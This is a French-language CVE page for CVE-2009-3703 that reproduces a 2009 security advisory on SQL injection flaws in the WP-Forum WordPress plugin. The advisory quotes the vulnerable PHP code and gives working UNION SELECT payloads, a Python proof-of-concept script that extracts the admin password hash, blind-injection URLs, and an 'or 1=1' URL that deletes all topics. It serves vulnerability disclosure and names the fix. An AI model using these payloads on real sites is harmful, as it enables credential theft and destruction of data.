Descriptions du CVE

Multiple SQL injection vulnerabilities in the WP-Forum plugin before 2.4 for WordPress allow remote attackers to execute arbitrary SQL commands via (1) the search_max parameter in a search action to the default URI, related to wpf.class.php; (2) the forum parameter to an unspecified component, related to wpf.class.php; (3) the topic parameter in a viewforum action to the default URI, related to the remove_topic function in wpf.class.php; or the id parameter in a (4) editpost or (5) viewtopic action to the default URI, related to wpf-post.php.

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

============================================= INTERNET SECURITY AUDITORS ALERT 2009-010 - Original release date: September 28th, 2009 - Last revised: December 15th, 2009 - Discovered by: Juan Galiana Lara - CVE ID: CVE-2009-3703 - Severity: 8.5/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- WP-Forum <= 2.3 SQL Injection & Blind SQL Injection vulnerabilities II. BACKGROUND ------------------------- WP-Forum is a discussion forum plugin for WordPress. It works with WordPress 2+ version and PHP >= 5.0 III. DESCRIPTION ------------------------- WP-Forum fails to sanitized user supplied input and is vulnerable to SQL Injection and Blind SQL Injection. An attacker can obtain any data of the database including user logins and password's of the WordPress installation, allowing him to obtain access to the application and gain administration privileges. For the SQL Injection vulnerability, is possible to concatenate other sql requests via "union select" sentence. The parameters "search_max" and "forum" are affected by this flaw. Snippet of vulnerable code: In wpf.class file: 1836 $option_max_days = $_POST['search_max']; // <- this line is not being sanitized 1837 $option_forums = $_POST['forum']; 1838 if(!$option_max_days) 1839 $option_max_days = 9999; 1840 $op .= " AND $this->t_posts.`date` > SUBDATE(CURDATE(), INTERVAL $option_max_days DAY) "; 1841 ... 1850 foreach((array)$option_forums as $f) 1851 $a .= $f.","; // <- <- this lines is not being sanitized 1852 1853 $a = substr($a, 0, strlen($a)-1 ); 1854 if(!$a) 1855 $w = ""; 1856 else 1857 $w = "IN($a)"; 1858 1859 $sql = "SELECT $this->t_threads.parent_id as pt, $this->t_posts.id, text, $this->t_posts.subject, $this->t_posts.parent_id, $this->t_posts.`date`, MATCH ($what) AGAINST ('$search_string') AS score 1860 FROM $this->t_posts inner join $this->t_threads on $this->t_posts.parent_id = $this->t_threads.id 1861 WHERE $this->t_threads.parent_id $w 1862 AND MATCH (text) AGAINST ('$search_string') $op"; In the case of the Blind SQL Injection, the vulnerable code is... In wpf-post.php file: 57 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 58 $thread = $this->check_parms($_GET['t']); 59 60 $out .= $this->header(); 61 62 $post = $wpdb->get_row("SELECT * FROM $wpforum->t_posts WHERE id = $id"); // <- id is used without clean up other example: 1490 function remove_post(){ 1491 global $user_level, $user_ID, $wpdb; 1492 $id = $_GET['id']; // <- $_GET['id'] is directly assigned 1493 $author = $wpdb->get_var("SELECT author_id from $this->t_posts where id = $id"); // id is used without clean up ... 1503 if($del == "ok"){ 1504 $wpdb->query("DELETE FROM $this->t_posts WHERE id = $id"); <- // id is used without clean up 1505 $this->o .= "<div class='updated'>".__("Post deleted", "wpforum")."</div>"; 1506 } 1507 else 1508 wp_die(__("Cheating, are we?", "wpforum")); 1509 1510 } the "id" parameter is vulnerable in other parts of the source code.. Also, is possible to delete all records in table $this->t_posts and $this->t_threads because $_GET['topic'] is not properly sanitized, injecting something like 1 or 1=1 1479 function remove_topic(){ 1480 global $user_level, $user_ID, $wpdb; 1481 $topic = $_GET['topic']; 1482 if($this->is_moderator($user_ID, $this->current_forum)){ 1483 $wpdb->query("DELETE FROM $this->t_posts WHERE parent_id = $topic"); 1484 $wpdb->query("DELETE FROM $this->t_threads WHERE id = $topic"); 1485 } 1486 else 1487 wp_die(__("Cheating, are we?", "wpforum")); 1488 1489 } IV. PROOF OF CONCEPT ------------------------- In the url: http://example.com/blog/?page_id=3&wpforumaction=search replacing 'page_id=3' parameter with the number of the WP-Forum page in each case Is possible to obtain any data of the database. Here is a proof of concept to obtain user_pass, user_login and user_email of the user with id=1 of wp_users table (normally admin). We have to fill the search_max parameter with the value: 9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1 and subdate(curdate(), interval 9999 ## Exploit-DB Note: Try using "999 DAY)" if 9999 doesn't work in your environment. I wrote a PoC, to get automatically the password hash of the WordPress admin account: user () linuz:~$ cat wpforum2.3-poc.py #!/usr/bin/python # WP-Forum <= 2.3 SQL Injection PoC # Juan Galiana Lara # Internet Security Auditors import urllib import urllib2 import re url = 'http://site//wordpress/?page_id=3&wpforumaction=search' values = {'search_words' : 'any', 'search_submit' : 'Search', 'search_max' : '999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999' } data = urllib.urlencode(values) req = urllib2.Request(url, data) response = urllib2.urlopen(req) output = response.read() o = re.search('viewtopic.+>([$].+)<',output) if o: print o.group(1) user () linuz:~$ python wpforum2.3-poc.py $P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/ user () linuz:~$ That's it! For the blind sql injection, here are some examples: http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0 http://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0 http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0 http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1 http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0 http://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1 Is possible to delete all topics, injecting sql code in "topic" parameter: http://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1 V. BUSINESS IMPACT ------------------------- Unauthenticated users can obtain or delete any data of the database. This flaw could result in get access to WordPress accounts including the administrator one. VI. SYSTEMS AFFECTED ------------------------- WP-Forum <= 2.3 are vulnerable. VII. SOLUTION ------------------------- Update to version 2.4. VIII.
